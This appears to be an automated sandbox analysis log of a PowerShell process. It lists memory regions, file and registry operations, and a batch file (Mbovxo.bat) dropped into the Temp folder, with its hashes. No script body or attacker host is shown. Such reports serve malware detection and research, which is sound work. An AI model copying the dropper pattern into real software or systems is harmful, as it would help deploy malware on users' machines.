pagefile_0x00000000001b0000 0x001b0000 0x001b1fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000001c0000 0x001c0000 0x001c0fff Pagefile Backed Memory Readable, Writable True False False
private_0x00000000001d0000 0x001d0000 0x001dffff Private Memory Readable, Writable True True False
pagefile_0x00000000001e0000 0x001e0000 0x001e1fff Pagefile Backed Memory Readable True False False
cversions.2.db 0x001f0000 0x001f3fff Memory Mapped File Readable True False False
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db 0x00200000 0x00226fff Memory Mapped File Readable True False False
pagefile_0x0000000000230000 0x00230000 0x00230fff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000000240000 0x00240000 0x0033ffff Private Memory Readable, Writable True True False
private_0x0000000000340000 0x00340000 0x0043ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000440000 0x00440000 0x005c7fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000005d0000 0x005d0000 0x00750fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000760000 0x00760000 0x01b5ffff Pagefile Backed Memory Readable True False False
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db 0x01b60000 0x01b8ffff Memory Mapped File Readable True False False
cversions.2.db 0x01b90000 0x01b93fff Memory Mapped File Readable True False False
pagefile_0x0000000001ba0000 0x01ba0000 0x01ba0fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001bb0000 0x01bb0000 0x01bb2fff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000001bc0000 0x01bc0000 0x01bc0fff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000001bd0000 0x01bd0000 0x01bdffff Private Memory Readable, Writable True True False
private_0x0000000001be0000 0x01be0000 0x01bfffff Private Memory True True False
private_0x0000000001c00000 0x01c00000 0x01c0ffff Private Memory Readable, Writable True True False
private_0x0000000001c10000 0x01c10000 0x01d0ffff Private Memory Readable, Writable True True False
pagefile_0x0000000001d10000 0x01d10000 0x01deefff Pagefile Backed Memory Readable True False False
l_intl.nls 0x01df0000 0x01df2fff Memory Mapped File Readable False False False
private_0x0000000001e00000 0x01e00000 0x01e00fff Private Memory Readable, Writable True True False
sorttbls.nlp 0x01e10000 0x01e14fff Memory Mapped File Readable False False False
microsoft.wsman.runtime.dll 0x01e20000 0x01e27fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x0000000001e30000 0x01e30000 0x01e30fff Pagefile Backed Memory Readable True False False
private_0x0000000001e40000 0x01e40000 0x01ebffff Private Memory Readable, Writable True True False
pagefile_0x0000000001ec0000 0x01ec0000 0x01ec0fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001ec0000 0x01ec0000 0x01ed0fff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000001ee0000 0x01ee0000 0x01f5ffff Private Memory Readable, Writable, Executable True True False
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x01f60000 0x01fc5fff Memory Mapped File Readable True False False
sortkey.nlp 0x01fd0000 0x02010fff Memory Mapped File Readable False False False
private_0x0000000002030000 0x02030000 0x020affff Private Memory Readable, Writable True True False
private_0x0000000002100000 0x02100000 0x0217ffff Private Memory Readable, Writable True True False
sortdefault.nls 0x02180000 0x0244efff Memory Mapped File Readable False False False
pagefile_0x0000000002450000 0x02450000 0x02842fff Pagefile Backed Memory Readable True False False
private_0x0000000002890000 0x02890000 0x0290ffff Private Memory Readable, Writable True True False
private_0x0000000002910000 0x02910000 0x02a0ffff Private Memory Readable, Writable True True False
private_0x0000000002a50000 0x02a50000 0x02acffff Private Memory Readable, Writable, Executable True True False
private_0x0000000002b10000 0x02b10000 0x02b8ffff Private Memory Readable, Writable True True False
private_0x0000000002b90000 0x02b90000 0x02c90fff Private Memory Readable, Writable True True False
private_0x0000000002cc0000 0x02cc0000 0x02ccffff Private Memory Readable, Writable True True False
private_0x0000000002cd0000 0x02cd0000 0x1accffff Private Memory Readable, Writable True False False
private_0x000000001acd0000 0x1acd0000 0x1b39ffff Private Memory Readable, Writable True True False
kernelbase.dll.mui 0x1b3a0000 0x1b45ffff Memory Mapped File Readable, Writable False False False
mscorrc.dll 0x1b460000 0x1b4b3fff Memory Mapped File Readable True False False
private_0x000000001b4c0000 0x1b4c0000 0x1b53ffff Private Memory Readable, Writable True True False
system.management.automation.dll 0x1b540000 0x1b821fff Memory Mapped File Readable, Writable, Executable False False False
private_0x000000001b830000 0x1b830000 0x1b92ffff Private Memory Readable, Writable True True False
system.transactions.dll 0x1e230000 0x1e278fff Memory Mapped File Readable, Writable, Executable False False False
msvcr80.dll 0x75180000 0x75248fff Memory Mapped File Readable, Writable, Executable False False False
kernel32.dll 0x77320000 0x7743efff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x77440000 0x77539fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
psapi.dll 0x77710000 0x77716fff Memory Mapped File Readable, Writable, Executable False False False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
powershell.exe 0x13ff50000 0x13ffc6fff Memory Mapped File Readable, Writable, Executable False False False
culture.dll 0x642ff4a0000 0x642ff4a9fff Memory Mapped File Readable, Writable, Executable True False False
system.directoryservices.ni.dll 0x7fee3bc0000 0x7fee3d54fff Memory Mapped File Readable, Writable, Executable True False False
system.management.ni.dll 0x7fee3d60000 0x7fee3ecbfff Memory Mapped File Readable, Writable, Executable True False False
system.xml.ni.dll 0x7fee3ed0000 0x7fee4574fff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.security.ni.dll 0x7fee4580000 0x7fee45bdfff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.commands.management.ni.dll 0x7fee45c0000 0x7fee46d7fff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.commands.utility.ni.dll 0x7fee46e0000 0x7fee48f5fff Memory Mapped File Readable, Writable, Executable True False False
system.transactions.ni.dll 0x7fee4900000 0x7fee49e4fff Memory Mapped File Readable, Writable, Executable True False False
microsoft.wsman.management.ni.dll 0x7fee49f0000 0x7fee4a99fff Memory Mapped File Readable, Writable, Executable True False False
system.configuration.install.ni.dll 0x7fee4aa0000 0x7fee4ad1fff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.commands.diagnostics.ni.dll 0x7fee4ae0000 0x7fee4b48fff Memory Mapped File Readable, Writable, Executable True False False
system.core.ni.dll 0x7fee4b50000 0x7fee4e7dfff Memory Mapped File Readable, Writable, Executable True False False
system.management.automation.ni.dll 0x7fee4e80000 0x7fee59dcfff Memory Mapped File Readable, Writable, Executable True False False
system.ni.dll 0x7fee59e0000 0x7fee6402fff Memory Mapped File Readable, Writable, Executable True False False
mscorlib.ni.dll 0x7fee6930000 0x7fee780bfff Memory Mapped File Readable, Writable, Executable True False False
mscorwks.dll 0x7fee7810000 0x7fee81acfff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.consolehost.ni.dll 0x7fee93f0000 0x7fee94a1fff Memory Mapped File Readable, Writable, Executable True False False
mscoreei.dll 0x7fef3d20000 0x7fef3db8fff Memory Mapped File Readable, Writable, Executable True False False
mscoree.dll 0x7fef42a0000 0x7fef430efff Memory Mapped File Readable, Writable, Executable True False False
shfolder.dll 0x7fef5a60000 0x7fef5a66fff Memory Mapped File Readable, Writable, Executable False False False
linkinfo.dll 0x7fef72a0000 0x7fef72abfff Memory Mapped File Readable, Writable, Executable False False False
shdocvw.dll 0x7fef72b0000 0x7fef72e3fff Memory Mapped File Readable, Writable, Executable False False False
ntshrui.dll 0x7fef8ac0000 0x7fef8b3ffff Memory Mapped File Readable, Writable, Executable False False False
cscapi.dll 0x7fef8b40000 0x7fef8b4efff Memory Mapped File Readable, Writable, Executable False False False
apphelp.dll 0x7fef9f00000 0x7fef9f56fff Memory Mapped File Readable, Writable, Executable False False False
uxtheme.dll 0x7fefb2a0000 0x7fefb2f5fff Memory Mapped File Readable, Writable, Executable False False False
slc.dll 0x7fefb8c0000 0x7fefb8cafff Memory Mapped File Readable, Writable, Executable False False False
atl.dll 0x7fefb8f0000 0x7fefb908fff Memory Mapped File Readable, Writable, Executable False False False
ntmarta.dll 0x7fefbde0000 0x7fefbe0cfff Memory Mapped File Readable, Writable, Executable False False False
propsys.dll 0x7fefbe40000 0x7fefbf6bfff Memory Mapped File Readable, Writable, Executable False False False
comctl32.dll 0x7fefbfc0000 0x7fefc1b3fff Memory Mapped File Readable, Writable, Executable False False False
version.dll 0x7fefc650000 0x7fefc65bfff Memory Mapped File Readable, Writable, Executable False False False
userenv.dll 0x7fefc840000 0x7fefc85dfff Memory Mapped File Readable, Writable, Executable False False False
rsaenh.dll 0x7fefca60000 0x7fefcaa6fff Memory Mapped File Readable, Writable, Executable False False False
cryptsp.dll 0x7fefceb0000 0x7fefcec6fff Memory Mapped File Readable, Writable, Executable False False False
srvcli.dll 0x7fefd280000 0x7fefd2a2fff Memory Mapped File Readable, Writable, Executable False False False
cryptbase.dll 0x7fefd380000 0x7fefd38efff Memory Mapped File Readable, Writable, Executable False False False
profapi.dll 0x7fefd490000 0x7fefd49efff Memory Mapped File Readable, Writable, Executable False False False
cfgmgr32.dll 0x7fefd620000 0x7fefd655fff Memory Mapped File Readable, Writable, Executable False False False
devobj.dll 0x7fefd660000 0x7fefd679fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll 0x7fefd680000 0x7fefd6eafff Memory Mapped File Readable, Writable, Executable False False False
rpcrt4.dll 0x7fefd860000 0x7fefd98cfff Memory Mapped File Readable, Writable, Executable False False False
clbcatq.dll 0x7fefd990000 0x7fefda28fff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x7fefda30000 0x7fefda5dfff Memory Mapped File Readable, Writable, Executable False False False
advapi32.dll 0x7fefdb00000 0x7fefdbdafff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x7fefdd60000 0x7fefddc6fff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x7fefddd0000 0x7fefded8fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x7fefdee0000 0x7fefdfa8fff Memory Mapped File Readable, Writable, Executable False False False
shell32.dll 0x7fefdfb0000 0x7fefed37fff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x7fefed40000 0x7fefeddefff Memory Mapped File Readable, Writable, Executable False False False
ole32.dll 0x7fefede0000 0x7fefefe2fff Memory Mapped File Readable, Writable, Executable False False False
wldap32.dll 0x7fefeff0000 0x7feff041fff Memory Mapped File Readable, Writable, Executable False False False
setupapi.dll 0x7feff0d0000 0x7feff2a6fff Memory Mapped File Readable, Writable, Executable False False False
shlwapi.dll 0x7feff2b0000 0x7feff320fff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x7feff330000 0x7feff33dfff Memory Mapped File Readable, Writable, Executable False False False
sechost.dll 0x7feff5b0000 0x7feff5cefff Memory Mapped File Readable, Writable, Executable False False False
oleaut32.dll 0x7feff5d0000 0x7feff6a6fff Memory Mapped File Readable, Writable, Executable False False False
apisetschema.dll 0x7feff860000 0x7feff860fff Memory Mapped File Readable, Writable, Executable False False False
private_0x000007ff00020000 0x7ff00020000 0x7ff0002ffff Private Memory True True False
private_0x000007ff00030000 0x7ff00030000 0x7ff0003ffff Private Memory True True False
private_0x000007ff00040000 0x7ff00040000 0x7ff000dffff Private Memory True True False
private_0x000007ff000e0000 0x7ff000e0000 0x7ff000effff Private Memory True True False
private_0x000007ff000f0000 0x7ff000f0000 0x7ff0015ffff Private Memory True True False
private_0x000007ff00160000 0x7ff00160000 0x7ff0016ffff Private Memory True True False
private_0x000007ff00170000 0x7ff00170000 0x7ff0017ffff Private Memory True True False
private_0x000007fffff10000 0x7fffff10000 0x7fffff1ffff Private Memory Readable, Writable, Executable True True False
private_0x000007fffff20000 0x7fffff20000 0x7fffffaffff Private Memory Readable, Writable, Executable True True False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd4fff Private Memory Readable, Writable True True False
private_0x000007fffffd5000 0x7fffffd5000 0x7fffffd6fff Private Memory Readable, Writable True True False
private_0x000007fffffd7000 0x7fffffd7000 0x7fffffd8fff Private Memory Readable, Writable True True False
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffdafff Private Memory Readable, Writable True True False
private_0x000007fffffdb000 0x7fffffdb000 0x7fffffdcfff Private Memory Readable, Writable True True False
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory Readable, Writable True True False
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory Readable, Writable True True False
For performance reasons, the remaining 42 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\adu0vk iwa5kls\appdata\local\temp\mbovxo.bat 0.32 KB (332 bytes) MD5: 6b02cf51939341cf79053976790bdae0
SHA1: 7d1615ea6d3afc59f7f518b1fd49bd0ae2c2b1ed
SHA256: 845ed9e3626f3b603301c7ab1987d763c13a9d8ee4444e69f181e52ebb881252
False
Host Behavior
File (307)
+
Operation Filename Additional Information Success Count Logfile
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mbovxo.bat desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
Get Info C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0 type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_type True 2
Fn
Get Info C:\Users\aDU0VK IWA5kLS type = file_attributes True 5
Fn
Get Info C:\ type = file_attributes True 6
Fn
Get Info C:\Users\aDU0VK IWA5kLS\Desktop type = file_attributes True 9
Fn
Get Info C:\Users type = file_attributes True 4
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\aDU0VK IWA5kLS\Documents\WindowsPowerShell\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\aDU0VK IWA5kLS\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mbovxo.bat type = file_attributes False 2
Fn
Get Info C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mbovxo.bat type = file_type True 2
Fn
Get Info C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mbovxo.bat type = file_attributes True 3
Fn
Open STD_INPUT_HANDLE True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 4096 True 3
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 3315 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 781, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 4096 True 41
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 436 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 2530 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 542, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4096 True 5
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4018 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 78, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 2762 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 310, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 4096 True 17
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 3022 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 50, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 281 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 4096 True 62
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 3895 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 201, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 4096 True 21
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 3687 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 409, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 2228 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 844, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 3736 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 360, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mbovxo.bat size = 332 True 1
Fn
Data
Registry (190)
+
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Open Key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment True 1
Fn
Open Key HKEY_CURRENT_USER\Environment True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 9
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
